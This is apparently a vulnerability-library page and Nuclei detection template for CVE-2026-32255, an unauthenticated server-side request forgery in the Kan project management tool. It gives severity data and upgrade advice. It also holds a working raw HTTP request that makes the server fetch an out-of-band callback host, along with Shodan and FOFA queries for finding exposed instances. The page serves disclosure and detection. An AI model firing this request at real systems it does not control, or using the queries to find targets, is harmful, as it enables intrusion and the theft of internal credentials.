/Vulnerability Library

Kan <= 0.5.4 - Server-Side Request Forgery

CVE-2026-32255
Early Release

Description

Kan, an open-source project management tool (Trello alternative), versions 0.5.4 and below are vulnerable to an unauthenticated Server-Side Request Forgery in the /api/download/attatchment endpoint. The endpoint passes the attacker-controlled `url` query parameter straight to a server-side fetch() without validating the destination host, allowing an unauthenticated attacker to make the server issue arbitrary outbound HTTP requests and read back the full response body.

Severity

High

CVSS Score

8.6

Exploit Probability

19%

Affected Product

kan

Published Date

August 3, 2026

Template Author

prithvee07

CVE-2026-32255.yaml
id: CVE-2026-32255

info:
  name: Kan <= 0.5.4 - Server-Side Request Forgery
  author: prithvee07
  severity: high
  description: |
    Kan, an open-source project management tool (Trello alternative), versions 0.5.4 and below are vulnerable to an unauthenticated Server-Side Request Forgery in the /api/download/attatchment endpoint. The endpoint passes the attacker-controlled `url` query parameter straight to a server-side fetch() without validating the destination host, allowing an unauthenticated attacker to make the server issue arbitrary outbound HTTP requests and read back the full response body.
  impact: |
    Unauthenticated attackers can force the server to issue requests to internal-only services, such as cloud metadata endpoints or internal APIs, and read the complete response body, potentially exposing credentials, configuration data, and other sensitive internal information.
  remediation: |
    Upgrade Kan to version 0.5.5 or later, which validates the requested host against the configured S3_ENDPOINT before making the upstream request.
  reference:
    - https://github.com/kanbn/kan/security/advisories/GHSA-qrx8-9hc6-jvqg
    - https://github.com/kanbn/kan/commit/53397d8e81dc1494d94132848c1f0416f1152bd7
    - https://github.com/kanbn/kan/releases/tag/v0.5.5
    - https://github.com/kOaDT/poc-cve-2026-32255
    - https://nvd.nist.gov/vuln/detail/CVE-2026-32255
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2026-32255
    epss-score: 0.18981
    epss-percentile: 0.97076
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 1
    vendor: kanbn
    product: kan
    shodan-query: http.title:"Kan"
    fofa-query: title="Kan" && body="_next"
  tags: cve,cve2026,kan,ssrf,unauth,oast

http:
  - raw:
      - |
        GET /api/download/attatchment?url=http://{{interactsh-url}}/{{randstr}}&filename={{randstr}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "filename=\"{{randstr}}\"")'
        condition: and
# digest: 4b0a00483046022100d913636239c3696c1ba05ad3d5bde0231fc5fdb7abc6e3615d672f4f699b8f14022100ef436a24c656cac5b4a28c965ffa85256a75bc63497be4481b6e023b41dc545e:922c64590222798bb761d5b6d8e72950
8.6Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
CVE ID:
cve-2026-32255
CWE ID:
cwe-918

References

https://github.com/kanbn/kan/security/advisories/GHSA-qrx8-9hc6-jvqghttps://github.com/kanbn/kan/commit/53397d8e81dc1494d94132848c1f0416f1152bd7https://github.com/kanbn/kan/releases/tag/v0.5.5https://github.com/kOaDT/poc-cve-2026-32255https://nvd.nist.gov/vuln/detail/CVE-2026-32255

Remediation Steps

Upgrade Kan to version 0.5.5 or later, which validates the requested host against the configured S3_ENDPOINT before making the upstream request.